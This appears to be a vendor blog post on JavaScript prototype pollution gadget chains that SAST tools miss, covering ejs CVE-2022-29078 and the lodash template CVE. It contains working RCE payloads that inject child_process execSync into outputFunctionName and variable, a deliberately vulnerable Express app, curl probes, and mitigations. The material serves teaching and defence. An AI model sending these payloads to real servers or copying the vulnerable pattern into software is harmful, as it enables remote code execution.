Prototype pollution: the basics your SAST tool knows about

Every JavaScript object has a prototype โ€” the object it inherits properties from. For plain objects created with {}, that prototype is Object.prototype. When you access a property on an object, JavaScript walks up the prototype chain if it doesn't find the property on the object itself.

Prototype pollution happens when an attacker can write to the prototype of Object itself, making arbitrary properties appear on every object in the application. The canonical example:

The obvious form SAST tools detect javascript
// Direct prototype assignment โ€” SAST rules typically catch this
const obj = {};
obj['__proto__']['isAdmin'] = true;

// Now every plain object has isAdmin = true
const user = {};
console.log(user.isAdmin);  // true โ€” polluted from attacker input

// Same via constructor prototype
obj.constructor.prototype.isAdmin = true;

// If the key comes from user input, SAST still usually catches it:
function setProperty(obj, key, value) {
  obj[key] = value;  // SAST: "potential prototype pollution"
}

Your Semgrep rule for obj[key] = value where key might be user-controlled fires here. Great. The problem is that this is not how modern prototype pollution exploits work in real codebases.

The gap: SAST rules pattern-match on the pollution source โ€” the assignment to __proto__ or a potentially-controlled property. They cannot model the gadget โ€” the separate piece of code, often in a library, that reads from Object.prototype in a dangerous way that the pollution enables. The source and the gadget are typically in completely different files, different packages, and separated by multiple function call layers.

What a gadget is and why SAST cannot find the chain

A gadget is a piece of existing code that, when a specific property exists on Object.prototype, executes that value in a dangerous way โ€” evaluates it as code, passes it to a shell, writes it to the filesystem, etc. The gadget itself is often completely legitimate code that's just reading a configuration option from what it thinks is its own options object.

Here is the conceptual flow:

HTTP request body: {"__proto__": {"outputFunctionName": "_tmp1;process.mainModule.require('child_process').execSync('id');//"}} โ†“ JSON.parse() of user input Attacker-controlled object with __proto__ key โ†“ _.merge(defaultOptions, userOptions) Object.prototype.outputFunctionName = "...malicious code..." โ† pollution โ†“ Later: ejs.renderFile("template.ejs", data, {}) ejs reads opts.outputFunctionName (not found on opts โ†’ walks prototype chain) โ†“ ejs constructs template function body using outputFunctionName eval("function ...{ " + outputFunctionName + " ... }") โ† RCE

Three completely separate locations in the codebase (or library code) are involved:

  1. The request handler that merges user JSON into an options object (using _.merge)
  2. _.merge itself in node_modules/lodash which doesn't sanitize __proto__ keys
  3. The ejs template renderer in node_modules/ejs which reads outputFunctionName from options

A SAST tool doing taint analysis would need to:

  • Track user input through JSON.parse
  • Understand that _.merge() with a __proto__ key in user input pollutes the global Object prototype
  • Model that a property set on Object.prototype becomes visible on every subsequent object created in the process
  • Follow the cross-library call to ejs.renderFile where the options parameter reads from the prototype chain
  • Recognize that outputFunctionName is evaluated as code in ejs

No production rule-based SAST tool does this analysis end-to-end. It requires semantic understanding of lodash's merge semantics, prototype chain inheritance, and ejs's internal template compilation โ€” across three separate npm packages.

CVE-2022-29078: ejs + prototype pollution = RCE

This is a real, critical CVE (CVSS 9.8) that perfectly illustrates the gadget chain problem. ejs is one of the most widely-used Node.js templating engines โ€” millions of applications depend on it. The vulnerability was not in ejs's own code being poorly written; it was in ejs reading from the options object in a way that became dangerous when combined with prototype pollution from elsewhere.

CVE-2022-29078: the vulnerable ejs internal code javascript
// Inside ejs (simplified โ€” before the fix)
function compile(template, opts) {
  // opts comes from the caller โ€” but if Object.prototype is polluted,
  // reading opts.outputFunctionName gets the attacker's value
  var outputFunctionName = opts.outputFunctionName;

  // This string gets eval'd as a function body
  var src = '"use strict"\n';
  if (outputFunctionName) {
    src += 'var ' + outputFunctionName + ' = [];\n';
    // โ† attacker controls this string, injecting arbitrary JS
  }
  // src gets compiled via new Function(src)
}

// The exploit payload in the HTTP request body:
// {
//   "__proto__": {
//     "outputFunctionName": "_tmp1;require('child_process').execSync('id > /tmp/pwned');//"
//   }
// }

// When merged via _.merge(config, userInput) and then ejs renders any template:
// new Function('var _tmp1;require("child_process").execSync("id > /tmp/pwned");//... = []')
// โ†’ executes on the server
Minimal vulnerable Express + ejs application javascript
const express = require('express');
const ejs = require('ejs');             // versions < 3.1.7
const _ = require('lodash');             // versions < 4.17.21
const app = express();

app.use(express.json());

// This endpoint looks completely benign to SAST
app.post('/settings', async (req, res) => {
  // User provides their display preferences
  const userPrefs = req.body;
  const defaults = { theme: 'dark', language: 'en' };

  // Merge user preferences with defaults โ€” looks fine to SAST
  const config = _.merge({}, defaults, userPrefs);

  // Render a template with the config
  const html = await ejs.renderFile('views/settings.ejs', { config });
  res.send(html);
});

// SAST sees: express endpoint, _.merge, ejs.renderFile
// SAST does NOT see: that _.merge on user JSON pollutes __proto__,
// and that ejs reads outputFunctionName from the prototype chain
// and evals it. No taint flow alert. No warning. Clean report.

Fixed in: ejs 3.1.7 (added if (outputFunctionName && !hasOwnProperty(opts, 'outputFunctionName')) check), lodash 4.17.21 (sanitized __proto__ in merge/set operations). But the pattern โ€” any library reading from an options object without hasOwnProperty checks, combined with a merge of user input โ€” is everywhere in the npm ecosystem.

The lodash template gadget (CVE-2021-23337)

Lodash's own _.template() function is also a gadget for prototype pollution. If an attacker can pollute Object.prototype.variable, lodash's template compiler uses that value in a with statement construction, turning it into code execution.

lodash.template + prototype pollution = RCE javascript
// Step 1: Pollute Object.prototype.variable
const payload = JSON.parse('{"__proto__":{"variable":"a;process.mainModule.require(\'child_process\').execSync(\'id\');//"}}');
_.merge({}, payload);
// Now Object.prototype.variable = "a;process.mainModule.require('child_process').execSync('id');//"

// Step 2: Somewhere else in the application, a template is compiled
// (could be in a completely different module)
const template = _.template('Hello <%= name %>');
// lodash reads opts.variable from the prototype chain
// constructs: "with(obj){ a;process.mainModule.require('child_process').execSync('id');//... }"
// compiles this as a function โ†’ executes on call

const result = template({ name: 'World' });  // โ† RCE happens here

// What SAST sees on the vulnerable line: _.merge({}, userInput)
// Some SAST tools might flag this as "prototype pollution source"
// None will trace the sink to _.template() in a different module

The timing problem: The pollution happens at request handling time. The template compilation might happen at application startup (caching compiled templates for performance). In that case, the exploit doesn't work directly โ€” but if the template is compiled per-request or on first use, the window opens. This timing dependency makes the vulnerability even harder for a SAST tool to reason about statically.

Exactly why SAST cannot model this

Let's be precise about what SAST tools can and cannot do for prototype pollution:

What rule-based SAST (Semgrep, etc.) can detect

  • Direct obj[key] = value where key is directly derived from user input (e.g., req.body.key)
  • Direct Object.prototype[attrib] = value patterns
  • String patterns like __proto__ appearing in property access code
  • Known vulnerable function calls: _.merge, _.extend, _.set with user input (with good rules)

What SAST cannot model

  • The cross-package taint flow: user input โ†’ lodash internals โ†’ Object.prototype โ†’ ejs internals โ†’ eval
  • That Object.prototype pollution is global and affects code running later in a different module
  • Which specific properties, when polluted, activate which gadgets in which library versions
  • That reading an option with opts.someProperty (without hasOwnProperty guard) is a gadget sink when that property doesn't normally exist on opts
Semgrep rule that catches the source โ€” but not the chain yaml
rules:
  - id: prototype-pollution-via-merge
    patterns:
      - pattern: |
          _.merge($DEST, ..., $USER_INPUT, ...)
      - pattern-either:
        - pattern: $USER_INPUT = $REQ.body
        - pattern: $USER_INPUT = $REQ.query
        - pattern: $USER_INPUT = JSON.parse(...)
    message: "_.merge with user-controlled input may enable prototype pollution"
    severity: WARNING

# This rule fires on the merge โ€” correct.
# It does NOT tell you whether there is an ejs.renderFile or _.template
# call anywhere in the codebase that makes this exploitable as RCE.
# It reports the same severity whether the gadget exists or not.
# Without the gadget analysis, the finding severity is wrong.

The result: SAST flags _.merge with user input as a warning, which developers learn to treat as low-severity noise (because merging user preferences into defaults is a completely standard pattern). Without the gadget chain analysis, the tool cannot determine that this specific merge, combined with ejs rendering, is critical-severity RCE. Alert fatigue causes the real finding to be dismissed along with the false positives.

The real CVE landscape

CVE-2019-10744 ยท CVSS 9.1

lodash defaultsDeep prototype pollution

_.defaultsDeep(object, source) where source contains a __proto__ key. Affects all lodash versions before 4.17.12. One of the most widely-referenced PP CVEs.

CVE-2020-8203 ยท CVSS 7.4

lodash zipObjectDeep / merge

_.zipObjectDeep with attacker-controlled path pollutes prototype. Also covers additional merge functions not fixed in the 4.17.12 patch. Requires lodash 4.17.16+.

CVE-2021-23337 ยท CVSS 7.2

lodash template command injection via PP

If Object.prototype.variable is polluted, _.template() compiles the polluted value into the function body. Results in code execution on template compilation.

CVE-2022-29078 ยท CVSS 9.8

ejs outputFunctionName RCE

ejs reads opts.outputFunctionName without hasOwnProperty check. When Object.prototype.outputFunctionName is polluted, ejs injects the value into an evaluated function body.

CVE-2019-11358 ยท CVSS 6.1

jQuery $.extend deep merge PP

$.extend(true, {}, userControlledObj) with a __proto__ key in userControlledObj. Affects both server-side jQuery usage and browser-side if input is attacker-controlled.

CVE-2022-37601 ยท CVSS 9.8

loader-utils prototype pollution

Webpack's loader-utils parseQuery function allowed prototype pollution via crafted query strings. Affected the webpack build toolchain itself โ€” potentially a supply chain vector.

Detection and testing

Since SAST misses the gadget chain, you need dynamic testing to find exploitable prototype pollution. The most practical approach is automated fuzzing of your API endpoints with PP payloads and observing side effects.

Manual prototype pollution test for any JSON endpoint bash
# Test 1: Basic prototype pollution probe
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"polluted":true}}'

# Test 2: Constructor prototype path
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Test 3: ejs outputFunctionName gadget probe
# Safe indicator: if the response contains "id" command output
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"outputFunctionName":"_tmp1;global.polluted=true;//"}}'

# After sending the above, probe a template-rendering endpoint:
curl https://your-app.com/  # if this crashes or behaves differently โ†’ potential gadget

# Test 4: pp-finder โ€” automated gadget discovery
# https://github.com/nicktindall/pp-finder
node -e "
const ppfinder = require('pp-finder');

// Load your app's dependencies to find gadgets
ppfinder.scan({
  packages: ['ejs', 'lodash', 'handlebars', 'pug'],
  properties: ['outputFunctionName', 'variable', 'proto', 'constructor']
}).then(gadgets => console.log(JSON.stringify(gadgets, null, 2)));
"
Node.js test: detect if your object prototype is polluted javascript
// Add this to your integration test suite
// Run it after any request that processes user JSON

function checkPrototypePollution() {
  const knownSafe = [
    // Properties that should never appear on a fresh plain object
    'polluted', 'outputFunctionName', 'variable', 'escape', '__exposeStack'
  ];

  const fresh = {};
  for (const prop of knownSafe) {
    if (fresh[prop] !== undefined) {
      throw new Error(`Object.prototype polluted: fresh object has .${prop} = ${fresh[prop]}`);
    }
  }
}

// In Express middleware โ€” run after every request in testing:
app.use((req, res, next) => {
  res.on('finish', () => {
    try { checkPrototypePollution(); }
    catch (e) { console.error('PROTOTYPE POLLUTION DETECTED:', e.message); }
  });
  next();
});

Fixes: from patching to architectural changes

1. Upgrade โ€” the obvious one

Lodash 4.17.21+, ejs 3.1.7+, jQuery 3.4+. These versions added hasOwnProperty checks in merge/extend/deep operations. But upgrading your direct dependency doesn't fix the same package coming in transitively (see the SCA post).

2. Sanitize input before deep merging

Sanitize user JSON before deep merge javascript
// Option 1: JSON.parse with prototype-safe reviver
function safeParseJSON(str) {
  return JSON.parse(str, (key, value) => {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      return undefined;
    }
    return value;
  });
}

// Option 2: Use Object.create(null) for merge targets
// Objects created with null prototype have no prototype chain to pollute
const safeTarget = Object.create(null);
_.merge(safeTarget, userInput);
// safeTarget.__proto__ is undefined, not Object.prototype

// Option 3: Use structured clone (Node 17+) โ€” doesn't copy non-serializable
const safe = structuredClone(userInput);
// structuredClone ignores __proto__ keys in the serialization

// Option 4: Freeze Object.prototype in test environments to catch pollution early
Object.freeze(Object.prototype);
// Any attempt to write to Object.prototype will throw in strict mode

3. Validate input with a schema before any processing

Use a JSON Schema validator (Ajv, Joi, Zod) with additionalProperties: false and an explicit allowlist of expected properties. Reject any input containing __proto__, constructor, or prototype keys at the API boundary โ€” before it reaches any merge or deep copy function.

4. Freeze Object.prototype in production

Freeze Object.prototype at application start javascript
// At the very top of your main entry point, before any requires
if (process.env.NODE_ENV === 'production') {
  Object.freeze(Object.prototype);
  Object.freeze(Function.prototype);
  Object.freeze(Array.prototype);
}

// Caveat: this can break libraries that legitimately extend prototypes.
// Test thoroughly before enabling in production.
// In strict mode, pollution attempts throw instead of silently failing.

// Alternative: use --frozen-intrinsics flag in Node.js (experimental)
// node --frozen-intrinsics app.js

Freezing Object.prototype is not a silver bullet: Some libraries depend on prototype extension at startup (polyfills, certain testing frameworks). Audit carefully before enabling this in production. It is, however, an excellent control for test environments where it will immediately reveal prototype pollution from any test case.

AI-Powered SAST

Find the gadget chains your SAST rules miss

AquilaX AI SAST models data flow across package boundaries โ€” combining taint analysis with knowledge of known gadget sinks in popular libraries. It finds the exploitable chains, not just the sources.